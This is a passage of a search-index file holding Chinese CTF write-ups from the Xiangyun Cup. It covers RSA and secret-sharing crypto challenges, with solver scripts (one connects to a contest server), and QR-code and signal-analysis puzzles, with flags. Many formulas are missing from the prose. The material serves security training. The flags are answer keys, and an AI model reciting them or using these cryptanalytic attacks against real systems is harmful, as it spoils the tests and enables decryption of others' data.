\u7136\u540e\u53ef\u4ee5\u770b\u6210\u662f\u5bf9\u7684\u5e26\u4f59\u9664\u6cd5\u3002\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u7b2c\u4e00\u6b65\u7684\u5bf9\u5e94\u7684\uff08\u6b64\u65f6\u6211\u4eec\u53ef\u4ee5\u81ea\u5df1\u8ba1\u7b97\u51fa\u6765\uff09\u53ef\u4ee5\u76f4\u63a5\u5f97\u5230\u7684\u503c\u3002\u7136\u540e\u5bf9\u5f00\u4e09\u6b21\u65b9\u53ef\u4ee5\u5f00\u51fa\u6765\u3002
\u7136\u540e\u5c31\u53ef\u4ee5\u7ed3\u5408\uff0c\u7528z3-solver
\u89e3\u51fa\u548c\u3002
\u4e4b\u540e\u5c31\u53ef\u4ee5\u8ba1\u7b97\u51fa\u548c\u7684\u503c\uff0c\u5e76\u4e14\u5229\u7528\u9664\u4ee5\u5f97\u5230RSA\u7684\u5bc6\u6587\uff0c\u7136\u540e\u89e3RSA\u5373\u53ef\u3002
\u8fc7\u6389oracle\u7684proof of work\u68c0\u6d4b\uff0c\u7136\u540e\u7b49\u51e0\u5206\u949f\uff0c\u62ff\u5230\u548c\uff0c\u7136\u540e\u968f\u4fbf\u8f93\u5165\u4e00\u4e2a1
\u5f97\u5230\u5bc6\u6587\u3002\u5c06\u5f97\u5230\u7684\u503c\u8f93\u5165\u4ee3\u7801\uff1a
import gmpy2\nfrom z3 import *\nfrom Crypto.Util.number import *\n\nn = 121642065448176156473897179092419728921875357974980389083860655277565704825649889226444419608980002630759091596085557548487575346914669740739314941122290996740304245650872046561895900796258456608793055028467475091633433839705791878132565383650206725088639081180463351423103722622744738467167869749662990688979\n\ncc = 1136361046033913612036332714569670427841256258685140344055068620567475033294018028371032984703266206522526501010193123738345243273176762739282234315795608086725508770575402683003031958708516685141549840548134463272675351840929630389108825535204457117771682170437521557495770971608166831028637021920921360209937746104425491678161944802864369442195541546254091075147348470471884402144293370533562623258123204821582501280968271504384904817447094261612944693686431804933040510678517012219972815762511119200409624840705484711608894758448331870766284821627574717762202817452703132562199236232290523206855898302762507824719214766649522917767889370878378892167034276829407953963424463895887129146755081368470643425950316309913064297742492397168974520285387936917948771030039018332\n\ncf = 295318431540053515087200928667285571195873544800963850029171139457738083432353682348226869156528183688490148373759627896871330766900837785451589779523111914618842905371837548861785389600883467087532763343406914524095383977741052854917948885361134719361023858033122670278053750085303927034983764865067526075420830992291379676788114928196956733017730193604813935484846679831060231258082875209851746699146625709301590969332851864108352895567376700175971571387738401144667542370193792481515722502753499780996972280714436836825211823165098486303895898784162737206171512239610585374041011016685047322413395385902117183922652085520924218305511771316307760747269759565922379004659918873467812356832776152950611990185909516951703495925411981576965707961331962771430522666692227338\n\nm = 49\ne = 0x10001\nc = pow(m, e, n)\ncc = cc // c\nmy = cc - 4 * n\n\nmy1, ok = gmpy2.iroot(my, 3)\n\np, q = Ints('p q')\nsol = Solver()\nppq = int(ppq)\nsol.add(p + q == ppq)\nsol.add(p * q == n)\nif (sol.check() == sat):\n m = sol.model()\n p = m[p].as_long()\n q = m[q].as_long()\n x = p**2 * (p + 3*q - 1 ) + q**2 * (q + 3*p - 1) \n y = 2*p*q + p + q\n cf = cf // (x + y)\n mf = pow(cf, inverse(e, (p-1)*(q-1)), n)\n print(long_to_bytes(mf))\nelse:\n print('GG simida')\n
"},{"location":"Writeup/Cryptography/myRSA/#flag","title":"Flag","text":"flag{ed649951-9ce9-46e0-a42b-d0ba588e43e1}\n
"},{"location":"Writeup/Cryptography/myRSA/#reference","title":"Reference","text":"Writeup from https://zhuanlan.zhihu.com/p/402690414
"},{"location":"Writeup/Cryptography/secret%20share/","title":"secret_share","text":"Category: Cryptography
Source: \u7965\u4e91\u676f2021
Author: unknown
Score: 35
"},{"location":"Writeup/Cryptography/secret%20share/#description","title":"Description","text":"Here is running a secret sharing system. But if the server colludes with some clever users, the whole system will not be safe any more.nc 0.cloud.chals.io 19892
secret_share.zip
"},{"location":"Writeup/Cryptography/secret%20share/#_1","title":"\u9898\u76ee\u63cf\u8ff0","text":"\u6d4b\u8bd5\u4e86\u4e00\u4e0b\uff0c\u53d1\u73b0\u8981\u7528python 2\u8fd0\u884c\u670d\u52a1\u7aef\u4ee3\u7801\u3002
\u9898\u76ee\u57fa\u4e8e\u79bb\u6563\u5bf9\u6570\uff0c\u4e5f\u5c31\u662f\uff0c\u751f\u6210\u5143\u548c\u6a21\u7d20\u6570\u5728\u4ee3\u7801\u4e2d\u7ed9\u51fa\u3002
\u9898\u76ee\u7684\u52a0\u5bc6\u5982\u4e0b\uff1a\u4ea7\u751f\u968f\u673a\u7684\uff0c\u8ba1\u7b97
\u4ea7\u751f\u7684\u5bc6\u6587\u4e3a\u3002
\u5e76\u4e14\u9898\u76ee\u8fd8\u6709\u4e00\u4e2a\u4e8c\u6b21\u52a0\u5bc6\uff1a
\u4ea7\u751f\u7684\u5bc6\u6587\u4e3a
\u4e00\u5f00\u59cboracle\u7ed9\u51fa\u4e00\u5bf9\uff0c\u4f46\u662f\u6211\u4eec\u5bf9flag\u52a0\u5bc6\u6240\u7528\u7684\u4e3a\u3002\u6211\u4eec\u80fd\u77e5\u9053flag\u5bf9\u5e94\u5bc6\u6587\u3002\u53ef\u4ee5\u5f97\u5230\u66f4\u591a\u63d0\u793a\uff0c\u4f46\u662f\u6211\u4eec\u9700\u8981\u8fc7\u5982\u4e0b\u6311\u6218\uff1a
oracle\u6bcf\u6b21\u751f\u6210\u4e00\u4e2a200\u4f4d\u7684\uff0c\u7136\u540e\u8fdb\u884c\u4e00\u4e2ark_gen
rk_gen
\u662f\u4e00\u4e2a\u591a\u9879\u5f0f\u751f\u6210\uff0c\u4e00\u5f00\u59cb\u751f\u6210\u4e00\u4e2a\uff0c\u8bb0\uff0c\u5bf9\u3002
\u8fd9\u91cc\u4f1a\u7ed9\u51fa\u4e00\u4e2a\u7684\u503c\u8ba9\u6211\u4eec\u77e5\u9053\u3002
\u5bf9encoder
\u89c2\u5bdf\u5f97\uff1a
\u4e00\u5f00\u59cb\u662f
\u7b2c\u4e00\u56de\u5c31\u53d8\u6210\u4e86
\u7b2c\u4e8c\u56de\u5c31\u53d8\u6210\u4e86
\u89c2\u5bdf\u4e0e\u5f52\u7eb3\u53d1\u73b0\u4e4b\u540e\u4e5f\u6ee1\u8db3\u8fd9\u6837\u7684\u5f62\u5f0f\u3002
\u7531\u97e6\u8fbe\u5b9a\u7406\uff0c\u4e0a\u9762\u7684\u4e5f\u5c31\u53ef\u4ee5\u770b\u6210\u662f\u591a\u9879\u5f0f\u7684\u5c55\u5f00\u5f0f\u4e4b\u7cfb\u6570\u3002
\u5e76\u4e14\u5b9e\u9645\u7ed9\u6211\u4eec\u7684\u65f6\u5019\uff0c\u6211\u4eec\u77e5\u9053\u7684\u662f
\u7136\u540e
\u5e76\u4e14\u628a\u7528\u52a0\u5bc6\u540e\uff0c\u518d\u5229\u7528\u8fd9\u91cc\u7b97\u51fa\u6765\u7684\u8fdb\u884c\u4e8c\u6b21\u52a0\u5bc6\u4e4b\u540e\u7684\u7ed3\u679c\u544a\u8bc9\u6211\u4eec\u3002\u9700\u8981\u6211\u4eec\u7ed9\u51fa\u7684\u503c\u3002
\u5982\u679c4\u6b21\u6311\u6218\u6210\u529f\uff0c\u90a3\u4e48oracle\u63d0\u793a\u6211\u4eec\u8fd94\u6b21\u6240\u4ea7\u751f\u7684\u503c\u4e4b\u79ef\u3002
"},{"location":"Writeup/Cryptography/secret%20share/#_2","title":"\u6211\u7684\u89e3\u7b54","text":"\u9996\u5148\u6211\u4eec\u6765\u770b\u8fd9\u4e2a\u5bc6\u7801\u7cfb\u7edf\u7684\u89e3\u5bc6\uff1a\u5047\u8bbe\u6211\u4eec\u6709\u7684\u8bdd\uff0c\u5bc6\u6587\u53ef\u4ee5\u88ab\u5199\u6210
\u6240\u4ee5
\u8fd9\u6837\u6211\u4eec\u5c31\u53ef\u4ee5\u89e3\u5f97\u660e\u6587\u3002
\u63a5\u4e0b\u6765\u6211\u4eec\u770b\u6311\u6218\u3002\u5b9e\u9645\u4e0a\uff0c\u6311\u6218\u5916\u90e8\u53ea\u6709\u548c\u53c2\u4e0e\u4e86\u8fd0\u7b97\u3002\u6211\u4eec\u7684\u76ee\u7684\u662f\u6c42\u51fa\u6311\u6218\u4e2d\u7684\u3002
\u5148\u5bf9\u4e8c\u6b21\u52a0\u5bc6\u7684\u7ed3\u679c\u8fdb\u884c\u5206\u6790\uff1a
\u90a3\u4e48\uff0c\u5982\u679c\u6211\u4eec\u5df2\u77e5\u7684\u8bdd\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u901a\u8fc7\u6a21\u7684\u9636\u4e3a\u8fd9\u4e00\u6027\u8d28\uff0c\u6c42\u51fa\u548c\uff0c\u8fdb\u800c\u6839\u636e\u4e0a\u9762\u5bc6\u7801\u7cfb\u7edf\u7684\u89e3\u5bc6\u6b65\u9aa4\u89e3\u51fa\u660e\u6587\uff0c\u5b8c\u6210\u6311\u6218\u3002
\u53c8\uff0c\u8fd9\u91cc\u6211\u4eec\u662f\u77e5\u9053\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u53ea\u9700\u8981\u6c42\u7684\u503c\u3002
\u4e8b\u5b9e\u4e0a\uff0c
\u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u4e5f\u662f\u5df2\u77e5\u7684\u3002\u90a3\u4e48\u76f8\u5f53\u4e8e\u8bf4\u6211\u4eec\u5c31\u53ef\u4ee5\u6709\u4e00\u4e2a\u591a\u9879\u5f0f\u3002
\u90a3\u4e48\u6a21\u7684\u503c\u5c31\u662f\uff01
\u5230\u8fd9\u91cc\uff0c\u6311\u6218\u89e3\u51b3\uff1a\u9996\u5148\u6211\u4eec\u53ef\u4ee5\u7b97\u51fa\uff0c\u8fdb\u800c\u7b97\u51fa\u5e76\u89e3\u5bc6\u51fa\uff0c\u5b8c\u6210\u6311\u6218\u3002
\u800c\u6311\u6218\u9001\u6211\u4eec\u7684\u5956\u52b1\u4e5f\u5c31\u662f\u56db\u4e2a
\u7684\u4e58\u79ef\uff0c\u800c\u8fd9\u91cc\u662f\u4e0d\u53d8\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u7b97\u51fa\uff0c\u7136\u540e\u6a21\u610f\u4e49\u4e0b\u89e3\u65b9\u7a0b\u5f97\u5230\uff0c\u8fdb\u800c\u5bf9flag\u5bf9\u5e94\u5bc6\u6587\u8fdb\u884c\u89e3\u5bc6\u5373\u53ef\u3002
\u641e\u5230\u63d0\u793a\u7684\u4ee3\u7801\u5982\u4e0b\uff1a
# sage -python gao_2.py\nfrom pwn import *\nfrom sage.all import *\nfrom Crypto.Util.number import *\nfrom hashlib import sha256\n\ndef h2(m):\n return int(sha256(m).hexdigest(), 16)\n\np = 0xb5655f7c97e8007baaf31716c305cf5950a935d239891c81e671c39b7b5b2544b0198a39fd13fa83830f93afb558321680713d4f6e6d7201d27256567b8f70c3\ng = 0x85fd9ae42b57e515b7849b232fcd9575c18131235104d451eeceb991436b646d374086ca751846fdfec1ff7d4e1b9d6812355093a8227742a30361401ccc5577\n\nconn = remote('47.104.85.225', 62351)\nconn.sendlineafter('choice>', '1')\nconn.recvuntil('Please take good care of it!\\n')\ns = conn.recvline()\ny, x = eval(s)\n\nconn.sendlineafter('choice>', '2')\nnlist = [33, 65, 129, 257]\n\nfor n in nlist:\n # n = 33 # 33\n conn.recvuntil('The cipher shared to you\\n')\n s = conn.recvline()\n c, (EE, VV, sr) = eval(s)\n conn.recvuntil('prefix, encoder = ')\n s = conn.recvline()\n encoder, prefix_hex = eval(s)\n prefix = int(prefix_hex, 16)\n Y0 = pow(prefix, x, p)\n\n P, (xx, ) = PolynomialRing(Zmod(p), 'xx').objgens()\n f1 = xx ** n\n for i in range(n):\n f1 += xx ** (n-i-1) * encoder[i]\n\n f2 = xx - Y0\n ff = f1 % f2\n r = int(ff)\n d = h2(prefix_hex.decode('hex') + long_to_bytes(r).rjust(64, '\\x00')) | 1\n print(d)\n\n d2 = inverse(d, p-1)\n yev = pow(EE * VV, d2, p)\n m = c * inverse(yev, p) % p\n conn.sendline(hex(m)[2:])\n\nconn.interactive()\n
\u7136\u540e\u5f97\u5230\u63d0\u793a\u548c\u5bc6\u6587\u3002\u89e3\u5bc6\u7684\u811a\u672c\u5982\u4e0b\uff1a
from Crypto.Util.number import *\n\np = 0xb5655f7c97e8007baaf31716c305cf5950a935d239891c81e671c39b7b5b2544b0198a39fd13fa83830f93afb558321680713d4f6e6d7201d27256567b8f70c3\ng = 0x85fd9ae42b57e515b7849b232fcd9575c18131235104d451eeceb991436b646d374086ca751846fdfec1ff7d4e1b9d6812355093a8227742a30361401ccc5577\n\nc, (E, V, s) = (5585968041074025086153882651703151644252825797961750029846368850560274818374166788547796736374559756281986206108084144666719010198655069698311903223194165L, (7907022716121671499111670222633646508450620325985407809966619468858884394742418166662560533967841329320157194633470489479583638083109335158547004325407745L, 8405942693799264870593925170154538171389476686350775031149946204774020645560022720688012855017145834685204712310735071692308136544637274001444374071172215L, 4472917796572038030768951841580005906571419088430724545004411546215611452075638469061832923050311132351135006369648270174176244462571628294865215006848977L))\n\ndlist = [88705054545798462592463535140496546230654103298029754196033655251576954884967,\n3171548216431031323271233816116991780227219532639047192797048831559660952785,\n115398379312678080372309706872824527861787247942202400632537054143103194010615,\n85791902547465660732182842994118602329957914363880964530800626818535559558315]\n\nrs = 0x17be2ea8187855e3a4ff52657728c70efa4d8d51a9afb3a59fceb1ef85b377613f0271008951a7fcdf741a97892ec4a61c724e49ddb7d46b0e735448d35a1f29L\n\nZp = Zmod(p)\n\nd = Zp(1)\nfor x in dlist:\n d *= x\n\nrs = Zp(rs)\ns = rs * d ^ -1\n\nP.<x> = PolynomialRing(Zp)\nf = x^4 - s\nfr = f.roots()\n\nc, E, V = map(Zp, (c, E, V))\n\nfor x1, po in fr:\n x1 = int(x1)\n yev = (E * V) ^ x1\n m = c * yev ^ -1\n m = int(m)\n print(long_to_bytes(int(m)).encode('hex'))\n
"},{"location":"Writeup/Cryptography/secret%20share/#flag","title":"Flag","text":"flag{504d0411-6707-469b-be31-9868200aca95}\n
"},{"location":"Writeup/Cryptography/secret%20share/#reference","title":"Reference","text":"Writeup from https://zhuanlan.zhihu.com/p/402690414
"},{"location":"Writeup/Cryptography/simpleRSA/","title":"simpleRSA","text":"Category: Cryptography
Source: \u7965\u4e91\u676f2020
Author: unknown
Score: 15
"},{"location":"Writeup/Cryptography/simpleRSA/#description","title":"Description","text":"Familiar and simple rsa
"},{"location":"Writeup/Cryptography/simpleRSA/#solution","title":"Solution","text":"from Crypto.Util.number import *import gmpy2\n\np, q, r = [getPrime(512) for i in range(3)]\nn = p * q * r\nphi = (p - 1) * (q - 1) * (r - 1)\nd = getPrime(256)\ne = gmpy2.invert(d , phi)\n\nflag = b\"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}\"\n\nc = pow(bytes_to_long(flag), e, n)\n\nprint(e, n)\nprint(c)\n
\u4e09\u7d20\u6570\u7684RSA\uff0c\u66fe\u7ecf\u67d0\u4e2a\u6bd4\u8d5b\u8fd8\u8003\u8fc7\u56db\u7d20\u6570\u7684\u3002\u5176\u52a0\u5bc6\u65b9\u5f0f\u548c\u5e38\u89c4RSA\u57fa\u672c\u4e00\u81f4\u76f8\u540c
# -*- coding: utf-8 -*-\nfrom Crypto.Util.number import long_to_bytes\ne = 1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570387093152236263203395726974692959819315410781180094216209100069530791407495510882640781920564732214327898099944792714253622047873152630438060151644601786843683746256407925709702163565141004356238879406385566586704226148537863811717298966607314747737551724379516675376634771455883976069007134218982435170160647848549412289128982070647832774446345062489374092673169618836701679\nn = 1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173\nc = 1079929174110820494059355415059104229905268763089157771374657932646711017488701536460687319648362549563313125268069722412148023885626962640915852317297916421725818077814237292807218952574111141918158391190621362508862842932945783059181952614317289116405878741758913351697905289993651105968169193211242144991434715552952340791545323270065763529865010326192824334684413212357708275259096202509042838081150055727650443887438253964607414944245877904002580997866300452\n\n\ndata = []\nwhile n:\n data += [e // n]\n e, n = n, e % n\nfor i in range(1, len(data) + 1):\n e = 1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570387093152236263203395726974692959819315410781180094216209100069530791407495510882640781920564732214327898099944792714253622047873152630438060151644601786843683746256407925709702163565141004356238879406385566586704226148537863811717298966607314747737551724379516675376634771455883976069007134218982435170160647848549412289128982070647832774446345062489374092673169618836701679\n n = 1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173\n data1 = data[:i]\n d = 0\n d1 = 1\n for j in data1[::-1]:\n d, d1 = d1, d + j * d1\n if b'flag' in long_to_bytes(str(pow(c, d, n))):\n print(long_to_bytes(str(pow(c, d, n))))\n
"},{"location":"Writeup/Cryptography/simpleRSA/#flag","title":"Flag","text":"flag{1c40fa8a-6a9c-4243-bd83-cd4875ea88cc}
"},{"location":"Writeup/Cryptography/simpleRSA/#reference","title":"Reference","text":"Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
"},{"location":"Writeup/General%20Skills/ChieftainsSecret/","title":"ChieftainsSecret","text":"Category: General Skills
Source: \u7965\u4e91\u676f2021
Author: unknown
Score: 10
"},{"location":"Writeup/General%20Skills/ChieftainsSecret/#description","title":"Description","text":"Our agent risked his life to install a mysterious device in the immemorial telephone, can you find out the chieftain's telephone number? Flag format: flag{11 digits}
ChieftainsSecret.zip
"},{"location":"Writeup/General%20Skills/ChieftainsSecret/#_1","title":"\u9898\u76ee\u63cf\u8ff0","text":"\u9898\u76ee\u7ed9\u4e86\u4e00\u4e2a\u56fe\u79cd\uff0c\u89e3\u538b\u5f97\u5230\u4e00\u4e2a\u7535\u8def\u56fe\u548c\u4e24\u5343\u591a\u7ec4\u6570\u636e\u3002
"},{"location":"Writeup/General%20Skills/ChieftainsSecret/#misc","title":"Misc\u4eb2\u7239\u7684\u89e3\u7b54","text":"\u7ed3\u5408\u56fe\u7247\u63a8\u65ad\u8fd9\u662f\u8f6c\u52a8\u7801\u76d8\u7684\u8fc7\u7a0b\u8bb0\u5f55\uff0c\u67e5\u9605\u6587\u6863\u53ef\u5f97\u5230\u4e00\u7cfb\u5217\u6bcf\u6b21\u7801\u76d8\u8f6c\u52a8\u7684\u5ea6\u6570\u3002
\u6570\u636e\u53ef\u8fdb\u884c\u5904\u7406\uff0c\u5f97\u5230sin\u503c\u4e0ecos\u503c\uff1a
def get_sin(i):\n return (data['PC0'][i] - (data['PC0'][i] + data['PC1'][i]) / 2) / 1000\ndef get_cos(i):\n return (data['PC2'][i] - (data['PC2'][i] + data['PC3'][i]) / 2) / 1000\n
\u5e76\u7ed8\u56fe\uff1a
\u5927\u6982\u5c31\u662f\u62a0\u51fa\u5cf0\u503c
\u6b63\u5f26\u548c\u4f59\u5f26\u7b97\u51fa\u540e\u5f97\u5230\u4e00\u4e2a\u7a7a\u95f4\u5750\u6807\u5206\u5e03
_map = '1234567890'\nps = [3, 3, 0, 2, 5, 1, 4, 9, 6, 5, 3]\nprint(''.join([_map[i] for i in ps]))\nprint(''.join([_map[::-1][i] for i in ps]))\nps = [3, 3, 0, 2, 5, 1, 4, 8, 6, 5, 3]\nprint(''.join([_map[i] for i in ps]))\nprint(''.join([_map[::-1][i] for i in ps]))\n
"},{"location":"Writeup/General%20Skills/ChieftainsSecret/#flag","title":"Flag","text":"flag{77085962457}\n
"},{"location":"Writeup/General%20Skills/ChieftainsSecret/#reference","title":"Reference","text":"Writeup from https://zhuanlan.zhihu.com/p/402713931
"},{"location":"Writeup/General%20Skills/shuffle_code/","title":"shuffle_code","text":"Category: General Skills
Source: \u7965\u4e91\u676f2021
Author: unknown
Score: 45
"},{"location":"Writeup/General%20Skills/shuffle_code/#description","title":"Description","text":"_shuffle_code.zip
"},{"location":"Writeup/General%20Skills/shuffle_code/#_1","title":"\u9898\u76ee\u63cf\u8ff0","text":"\u9898\u76ee\u9644\u4ef6\u7ed9\u51fa\u6765\u7684\u62d6\u5165010 editor\u67e5\u770b\uff0c\u53d1\u73b0\u662f\u4e2a\u5012\u7740\u7684PNG\u3002\u5c06\u5176\u5012\u56de\u6765\uff0c\u6253\u5f00\u53d1\u73b0\u662f\u4e00\u4e2a\u4e8c\u7ef4\u7801
\u5f00\u5c40\u4e00\u4e2a\u7801
"},{"location":"Writeup/General%20Skills/shuffle_code/#_2","title":"\u6211\u7684\u89e3\u7b54","text":"\u4e8c\u7ef4\u7801\u626b\u7801\u5f97\uff1a
col426327/1132122/1211132223/3113253/61531113/111312/5323125/2222/11122153/311111/14312121/11231211/2423211/262121/422221/622132/31121/221122111/5122311/2111221221/121692/12122111/232326/11142121/31253151/22111111123/111313121/1111111/2151371\n\nrow31121113/12321133/13111112/13112221121/12112232/16113232/11311311/21111231/11111211/711111117/2124112211/611111241/1311371/131152131/13/2121111311/521(11)11/1311321131/1211211/11111111/14221262/3411131/161713/422141/7122117/1111112111/7111412/71111121/131112131\n
\u53ef\u80fd\u90a3\u4e2a\u62ec\u53f7\u62ec\u8d77\u6765\u7684\u5c31\u662f11\u8fd9\u4e00\u4e2a\u6570\uff0c\u5176\u4ed6\u90fd\u505a\u4e00\u4f4d\u6570\u89e3\uff0c\u5e76\u4e14\u8fd9\u4e9b\u6570\u957f\u5ea6\u96c6\u4e2d\u57286, 7, 8, 9, 10\u3002
\u731c\u6d4b\u9898\u76ee\u7684\u95ee\u9898\u5f62\u5f0f\u662f\u6570\u7ec7\uff0c\u63a5\u4e0b\u6765\u5c31\u662fMisc\u4eb2\u7239\u7684\u4e2a\u4eba\u79c0\uff1a
"},{"location":"Writeup/General%20Skills/shuffle_code/#miscshowtime","title":"Misc\u4eb2\u7239\u7684showtime","text":"\u6211\u770b\u4e0d\u61c2\uff0c\u4f46\u6211\u5927\u53d7\u9707\u64bc
\u53c8\u753129*29\u63a8\u65ad\u53ef\u80fd\u662f\u4e2a\u4e8c\u7ef4\u7801\uff0c\u6309\u884c\u6253\u4e71\u3002\u6839\u636e\u4e8c\u7ef4\u7801\u89c4\u8303\u89e3\u51fa\u56fa\u5b9a\u4f4d\u7f6e\u5e76\u53cd\u5411\u66f4\u65b0\u6570\u7ec7\u3002
\u6700\u540e\u53ea\u6709\u4e2d\u95f4\u90e8\u5206\u7684\u987a\u5e8f\u4e0d\u77e5\u9053\uff0c\u5171\u79cd\u53ef\u80fd\u6027\uff0c\u4f7f\u7528\u7a0b\u5e8f\u7a77\u4e3e\u3002
\u8fd9\u4e5f\u80fd\u4fee\uff0c\u4e0d\u6127\u662fMisc\u4eb2\u7239
data = [[1,1,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,1,1,1,1,1],\n[1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1],\n[1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,1,1,0,1,0,1,1,1,0,1],\n[1,0,1,1,1,0,1,0,0,1,0,0,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,0,1],\n[1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,1,1,1,0,1],\n[1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1],\n[1,1,1,1,1,1,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1],\n[0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],\n[1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,1],\n[1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,1],\n[1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,0,1],\n[0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,1,1,0,1],\n[1,1,0,0,1,0,1,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,1],\n[1,1,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0],\n[0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,1,1,1,0,1,1,0,0,0],\n[1,1,1,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,1,0,1,1,0,1,1,1,1,0,1],\n[0,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1],\n[1,0,0,1,1,0,0,0,1,1,1,0,1,1,0,1,0,1,0,1,1,1,0,0,1,1,1,0,0],\n[1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,1,1,0,1,1,0,1,1,1,0,0,0,1,1],\n[1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1],\n[1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1],\n[0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0],\n[1,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0],\n[1,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0],\n[1,0,1,1,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0],\n[1,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,1,0,1,1,0,1],\n[1,0,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1],\n[1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,1,0,1,0,1,0,1],\n[1,1,1,1,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0]]\n\nimport pyzbar.pyzbar as pyzbar\nfrom itertools import permutations\nfrom PIL import Image, ImageDraw as draw\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\n\nshuffle_1 = [9, 11, 13, 15, 17, 19]\nshuffle_2 = [10, 12, 14, 16, 18]\nhead = data[0:9]\ntail = data[20:]\n\ndef body(body_1, body_2):\n body = []\n for i in range(5):\n body.append(body_1[i])\n body.append(body_2[i])\n body.append(body_1[5])\n return [data[i] for i in body]\n\ndef draw_img(data):\n assert len(data) == 29 and len(data[0]) == 29\n img = Image.new('RGB', (31, 31), (255,255,255))\n for i, row in enumerate(data):\n for j, pixel in enumerate(row):\n img.putpixel((j + 1, i + 1), (0,0,0) if pixel == 1 else (255,255,255))\n return img\n\nwith tqdm(total=720 * 120) as pbar:\n for body_1 in permutations(shuffle_1):\n for body_2 in permutations(shuffle_2):\n im = draw_img(head + body(body_1, body_2) + tail)\n barcodes = pyzbar.decode(im)\n pbar.update(1)\n if(len(barcodes) == 0):\n continue\n for barcode in barcodes:\n barcodeData = barcode.data.decode(\"utf-8\")\n print(barcodeData)\n plt.imshow(im)\n plt.show()\n
\u4fee\u590d\u6210\u529f\u7684\u4e8c\u7ef4\u7801\u5982\u4e0b\u56fe\u6240\u793a\uff1a
\u7239\u4e2d\u7239\uff0c\u4ee3\u4e2d\u4ee3
"},{"location":"Writeup/General%20Skills/shuffle_code/#flag","title":"Flag","text":"flag{f31861a9-a753-47d5-8660-a8cada6c599e}\n
\u8fd9\u4e00\u8840\u771f\u7684\uff0c\u592a\u79c0\u4e86\uff0c\u7ed9\u4ed6\u5012\u6d17\u811a\u6c34\u53bb\u4e86
"},{"location":"Writeup/General%20Skills/shuffle_code/#reference","title":"Reference","text":"Writeup from https://zhuanlan.zhihu.com/p/402713931
"},{"location":"Writeup/General%20Skills/xixixi/","title":"xixixi","text":"Category: General Skills
Source: \u7965\u4e91\u676f2020
Author: unknown
Score: 50
"},{"location":"Writeup/General%20Skills/xixixi/#description","title":"Description","text":"\u5ba4\u53cb\u6700\u8fd1\u6c89\u8ff7y\u795e\uff0c\u53c8\u6c2a\u53c8\u809d\uff0c\u8fd8ghs\u3002\u4e3a\u4e86\u4ed6\u7684\u8eab\u4f53\u7740\u60f3\uff0c\u6211\u628a\u4ed6\u7684s\u56fe\u6574\u6ca1\u4e86\u3002\u4f46\u6211\u660e\u660e\u5220\u4e86\u811a\u672c\u554a\uff0c\u4e3a\u4ec0\u4e48\u8fd8\u80fd\u88ab\u4ed6\u53d1\u73b0......8\u8bf4\u4e86\uff0c\u533b\u9662\u7684\u7a7a\u8c03\u771f\u8212\u670d~
"},{"location":"Writeup/General%20Skills/xixixi/#solution","title":"Solution","text":"\u78c1\u76d8\u5185\u6240\u6709\u5185\u5bb9\u5982\u4e0b\uff1a\uff08\u53ef\u7528winhex\u76f4\u63a5\u590d\u539f\uff09
